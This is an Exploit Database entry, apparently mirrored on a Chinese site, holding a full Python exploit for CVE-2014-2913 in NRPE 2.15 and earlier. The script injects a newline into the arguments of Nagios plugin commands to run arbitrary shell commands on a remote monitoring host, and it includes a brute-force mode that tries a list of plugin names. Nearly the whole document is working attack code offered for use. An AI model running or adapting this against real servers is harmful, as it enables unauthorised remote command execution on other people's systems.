NRPE 2.15 – Remote Code Execution

• Exploit Database
• 13 阅读

• 作者： Claudio Viviani
  日期： 2014-08-29
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/34461/

• #!/usr/bin/python
  #
  #
  # Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability
  #
  # Discovered by: Dawid Golunski
  #dawid (at) legalhackers (dot) com
  #legalhackers.com
  #
  # Exploit Author : Claudio Viviani
  #http://www.homelab.it
  #
  #info@homelab.it
  #homelabit@protonmail.ch
  #
  #https://www.facebook.com/homelabit
  #https://twitter.com/homelabit
  #https://plus.google.com/+HomelabIt1/
  #https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  #
  #
  #
  # C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org>
  # http://www.abcompcons.com/files/nrpe_client.py
  #
  # pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)
  #
  # [root@localhost ~]# pip-python install pyOpenSSL
  #
  # NRPE <= 2.15 Remote Command Execution Vulnerability
  # Release date: 17.04.2014
  # Discovered by: Dawid Golunski
  # Severity: High
  # CVE-2014-2913
  #
  # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913
  # http://www.exploit-db.com/exploits/32925/
  # http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)
  #
  # Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x
  #
  # Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE
  #
  
  import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/
  import optparse
  import os
  import signal
  import socket
  import struct
  import sys
  import time
  
  banner = """
  
  $$\ $$\ $$$$$$$\$$$$$$$\$$$$$$$$\$$$$$$\$$\$$$$$$$\\
  $$$\$$ |$$__$$\ $$__$$\ $$_____|$$__$$\ $$$$ | $$____|
  $$$$\ $$ |$$ |$$ |$$ |$$ |$$ |\__/$$ |\_$$ | $$ |
  $$ $$\$$ |$$$$$$$|$$$$$$$|$$$$$\ $$$$$$|$$ | $$$$$$$\\
  $$ \$$$$ |$$__$$< $$____/ $$__| $$____/ $$ | \_____$$\\
  $$ |\$$$ |$$ |$$ |$$ |$$ |$$ |$$ | $$\ $$ |
  $$ | \$$ |$$ |$$ |$$ |$$$$$$$$\ $$$$$$$$\ $$\ $$$$$$\\$$$$$$|
  \__|\__|\__|\__|\__|\________|\________|\__|\______|\______/
  
  
  
  $$$$$$$\ $$$$$$\$$$$$$$$\\
  $$__$$\ $$__$$\ $$_____|
  $$ |$$ |$$ /\__|$$ |
  $$$$$$$|$$ |$$$$$\\
  $$__$$< $$ |$$__|
  $$ |$$ |$$ |$$\ $$ |
  $$ |$$ |\$$$$$$|$$$$$$$$\\
  \__|\__| \______/ \________|
   NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n
  
  
  =============================================
  - Release date: 17.04.2014
  - Discovered by: Dawid Golunski
  - Severity: High
  - CVE: 2014-2913
  =============================================
  
  Written by:
  
  Claudio Viviani
  
   http://www.homelab.it
  
  info@homelab.it
   homelabit@protonmail.ch
  
  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/
  https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  
  """
  # Plugin list for Brute force mode
  PluginList = ['check_all',
   'check_apt',
   'check_bdii',
   'check_bonding',
   'check_breeze',
   'check_by_ssh',
   'check_check-updates',
   'check_check_sip',
   'check_cluster',
   'check_dhcp',
   'check_dig',
   'check_disk',
   'check_disk_smb',
   'check_dns',
   'check_dpm-disk',
   'check_dpm-head',
   'check_dummy',
   'check_file_age',
   'check_flexlm',
   'check_fping',
   'check_game',
   'check_hpjd',
   'check_http',
   'check_icmp',
   'check_ide_smart',
   'check_ifoperstatus',
   'check_ifstatus',
   'check_ircd',
   'check_lcgdm',
   'check_lcgdm-common',
   'check_ldap',
   'check_lfc',
   'check_linux_raid',
   'check_load',
   'check_log',
   'check_mailq',
   'check_mrtg',
   'check_mrtgtraf',
   'check_mysql',
   'check_nagios',
   'check_nrpe',
   'check_nt',
   'check_ntp',
   'check_nwstat',
   'check_openmanage',
   'check_oracle',
   'check_overcr',
   'check_perl',
   'check_pgsql',
   'check_ping',
   'check_procs',
   'check_radius',
   'check_real',
   'check_rhev',
   'check_rpc',
   'check_sensors',
   'check_smtp',
   'check_snmp',
   'check_ssh',
   'check_swap',
   'check_tcp',
   'check_time',
   'check_ups',
   'check_users',
   'check_wave']
  
  
  
  # nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)
  evilchar = "\x0a"
  
  QUERY_PACKET= 1
  RESPONSE_PACKET = 2
  
  NRPE_PACKET_VERSION_2 = 2
  
  # max amount of data we'll send in one query/response
  MAX_PACKETBUFFER_LENGTH = 1024
  
  
  #def debug(sMessage):
  #"""Send a string to STDERR"""
  #if DEBUG:
  #sys.stderr.write("%s\n" % sMessage)
  
  class DataPacket:
  """A Python implementation of the C struct, packet."""
  def __init__(self, packet_version, packet_type):
  self.nPacketVersion = packet_version # int16
  self.nPacketType = packet_type # int16
  self.nCRC32 = 0 # u_int32
  self.nResultCode = 2324 # int16
  self.sData = ''
  self.tCRC32 = (
   0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419,
   0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4,
   0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07,
   0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
   0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856,
   0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
   0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4,
   0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
   0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3,
   0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a,
   0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599,
   0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
   0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190,
   0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f,
   0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e,
   0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
   0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed,
   0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
   0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3,
   0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
   0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a,
   0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5,
   0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010,
   0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
   0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17,
   0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6,
   0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615,
   0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
   0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344,
   0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
   0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a,
   0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
   0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1,
   0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c,
   0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef,
   0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
   0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe,
   0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31,
   0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c,
   0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
   0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b,
   0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
   0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1,
   0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
   0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278,
   0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7,
   0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66,
   0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
   0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605,
   0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8,
   0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b,
   0x2d02ef8d)
  
  def __str__(self):
  # Turn whatever string data we have into a null terminated string
  if len(self.sData) < MAX_PACKETBUFFER_LENGTH:
  sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData))
  sData += "SR" # not sure about this, from perl
  elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2:
  sData = self.sData
  else:
  raise ValueError("CHECK_NRPE: invalid input")
  # Return a string that equals the C struct, not something printable
  return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion,
  self.nPacketType, self.nCRC32, self.nResultCode, sData)
  
  def __len__(self):
  return len(self.__str__())
  
  def dumpself(self):
  """Debugging output for self as C structure.
  
  Not normally used."""
  sElf = self.__str__()
  sPrev = sElf[0:1]
  nCount = 0
  ii = -1
  for sChar in sElf[1:]:
  ii += 1
  if sChar == sPrev:
  nCount += 1
  continue
  if nCount:
  print "%d\t%d *" % (ii - nCount, nCount + 1),
  nCount = 0
  else:
  print "%d\t" % ii,
  print "\t'%s' (%d)" % (sPrev, ord(sPrev))
  sPrev = sChar
  print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev))
  
  def calculate_crc32(self):
  """Calculate the CRC32 value for the string version of self."""
  nCRC = 0xFFFFFFFF
  for ii in self.__str__():
  nIndex = (nCRC ^ ord(ii)) & 0xFF
  nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex]
  self.nCRC32 = nCRC ^ 0xFFFFFFFF
  #debug("DataPacket.calculate_crc32 = %d" % self.nCRC32)
  
  def extract(self, sQuery):
  """Turn a string into the DataPacket attributes."""
  #debug("DataPacket.extract(%d)" % len(sQuery))
  tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery)
  self.nPacketVersion = tVals[0]
  self.nPacketType = tVals[1]
  self.nCRC32 = tVals[2]
  self.nResultCode = tVals[3]
  self.sData = tVals[4]
  
  m_nTimeout = 0
  def alarm_handler(nSignum, oFrame):
  """Timeout catcher"""
  raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." %
  m_nTimeout)
  
  
  class NrpeClient(DataPacket):
  """Everything needed to send a message to an NRPE server and get data back.
  """
  def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10,
   packet_version=NRPE_PACKET_VERSION_2):
  DataPacket.__init__(self, packet_version, QUERY_PACKET)
  self.sServer = server_name
  self.nPort = server_port
  self.bUseSSL = use_ssl
  self.nTimeout = timeout
  
  def run_query(self, sQuery):
  """Connect to the NRPE server, send the query and get back data.
  """
  # initialize alarm signal handling and set timeout
  signal.signal(signal.SIGALRM, alarm_handler)
  signal.alarm(self.nTimeout)
  
  # try to connect to the host at the given port number
  oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  # do SSL handshake
  if self.bUseSSL:
  oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)
  oContext.set_cipher_list('ADH')
  oConnection = OpenSSL.SSL.Connection(oContext, oSocket)
  else:
  oConnection = oSocket
  
  oConnection.connect((self.sServer, self.nPort))
  
  # we're connected and ready to go
  self.sData = sQuery
  self.nCRC32 = 0
  self.calculate_crc32()
  
  # send the packet
  oConnection.send(str(self))
  
  # wait for the response packet
  sRval = oConnection.recv(len(self))
  
  # close the connection
  if self.bUseSSL and not oConnection.shutdown():
  try:
  sRval += oConnection.recv(len(self))
  except OpenSSL.SSL.ZeroReturnError:
  pass
  oSocket.close()
  del oSocket, oConnection
  if self.bUseSSL:
  del oContext
  
  # reset timeout
  signal.alarm(0)
  
  if len(sRval) == 0:
  raise IOError("CHECK_NRPE: Received 0 bytes from daemon." +
  "Check the remote server logs for error messages.")
  elif len(sRval) < len(self):
  raise IOError("CHECK_NRPE: Receive underflow - only " +
  "%d bytes received (%d expected)." % (len(sRval), len(self)))
  
  # Become the received data
  self.extract(sRval)
  
  # check the crc 32 value
  nRvalCRC = self.nCRC32
  self.nCRC32 = 0
  self.calculate_crc32()
  if nRvalCRC != self.nCRC32:
  raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.")
  
  # check packet version
  if self.nPacketVersion != NRPE_PACKET_VERSION_2:
  raise ValueError("CHECK_NRPE: Invalid packet version received from server.")
  
  # check packet type
  if self.nPacketType != RESPONSE_PACKET:
  raise ValueError("CHECK_NRPE: Invalid packet type received from server.")
  
  # Turn the input data into a proper python string (chop at first NULL)
  for ii in range(len(self.sData)):
  if self.sData[ii] == "\0":
  break
  self.sData = self.sData[0:ii]
  
  
  if __name__ == '__main__':
  m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]")
  m_oOpts.add_option('--host', '-H', action='store', type='string',
  help='The address of the host running the NRPE daemon (required)')
  m_oOpts.add_option('--ssl', '-n', action='store_false', default=True,
  help='Do no use SSL')
  m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666,
  help='The port on which the daemon is running (default=5666)')
  m_oOpts.add_option('--timeout', '-t', action='store', type='int',
  default=10,
  help='Number of seconds before connection times out (default=10)')
  m_oOpts.add_option('--command', '-c', action='store', type='string',
  #default='get_data',
  help='The name of nrpe command')
  m_oOpts.add_option('--brute', '-b', action='store_true', default=False,
  help='Find existing nrpe command from list [ -list ]')
  m_oOpts.add_option('--list', action='store_true',default=False,
  help='Show NRPE Command list')
  m_oOpts.add_option('--cmd', action='store', type='string',
  help='Command to execute on the remote server')
  
  m_oOptions, m_lArgs = m_oOpts.parse_args()
  m_nTimeout = m_oOptions.timeout
  m_sQuery = m_oOptions.command
  m_gList = m_oOptions.list
  m_sBrute = m_oOptions.brute
  
  print (banner)
  
  if m_gList:
  print('[+] NRPE Command list\n')
  for LinesPluginList in PluginList:
  print(LinesPluginList)
  sys.exit(0)
  elif m_sQuery and m_sBrute:
  print m_oOpts.format_help()
  print('[!]')
  print('[!] ERROR: Select only -c OR -b option\n')
  sys.exit(0)
  elif not m_oOptions.host or not m_oOptions.cmd:
  print m_oOpts.format_help()
  sys.exit(0)
  
  print('[+] Target: '+m_oOptions.host)
  print('[+] Command: '+m_oOptions.cmd+' \n')
  
  if m_sBrute:
  print('[+] Brute force Mode....')
  print('[+]')
  for LinesPluginList in PluginList:
  
  m_CommandQuery = ""
  m_CommandQuery += ' ' + m_oOptions.cmd
  if m_lArgs:
  m_CommandQuery += ' ' + ' '.join(m_lArgs)
  
  m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #'
  
  
  m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
  m_oOptions.timeout)
  try:
  m_oNRPE.run_query(m_sQuery)
  except socket.error:
  print('[!] Connection Error!')
  sys.exit(1)
  except OpenSSL.SSL.ZeroReturnError:
  print('[!] Not Vulnerable')
  print('[!] Option dont_blame_nrpe disabled or service fixed')
  sys.exit(1)
  
  if m_oNRPE.sData[-11:] == "not defined":
  print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found')
  else:
  print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!')
  print('[+]')
  print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
  print('[+]')
  print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
  print('[+]')
  print(m_oNRPE.sData)
  sys.exit(0)
  elif m_sQuery:
  print('[+] Custom command Mode....')
  print('[+]')
  print('[+] Connecting......')
  
  m_CommandQuery = ""
  m_CommandQuery += ' ' + m_oOptions.cmd
  if m_lArgs:
  m_CommandQuery += ' ' + ' '.join(m_lArgs)
  
  m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #'
  
  m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
  m_oOptions.timeout)
  try:
   m_oNRPE.run_query(m_sQuery)
  except KeyboardInterrupt:
  print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout)
  sys.exit(1)
  except socket.error:
  print('[!] Connection Error!')
  sys.exit(1)
  except OpenSSL.SSL.ZeroReturnError:
  print('[!] Not Vulnerable')
  print('[!] Option dont_blame_nrpe disabled or service fixed')
  sys.exit(1)
  
  if m_oNRPE.sData[-11:] == "not defined":
  print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command')
  else:
  print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!')
  print('[+]')
  print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
  print('[+]')
  print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
  print('[+]')
  print(m_oNRPE.sData)
  sys.exit(0)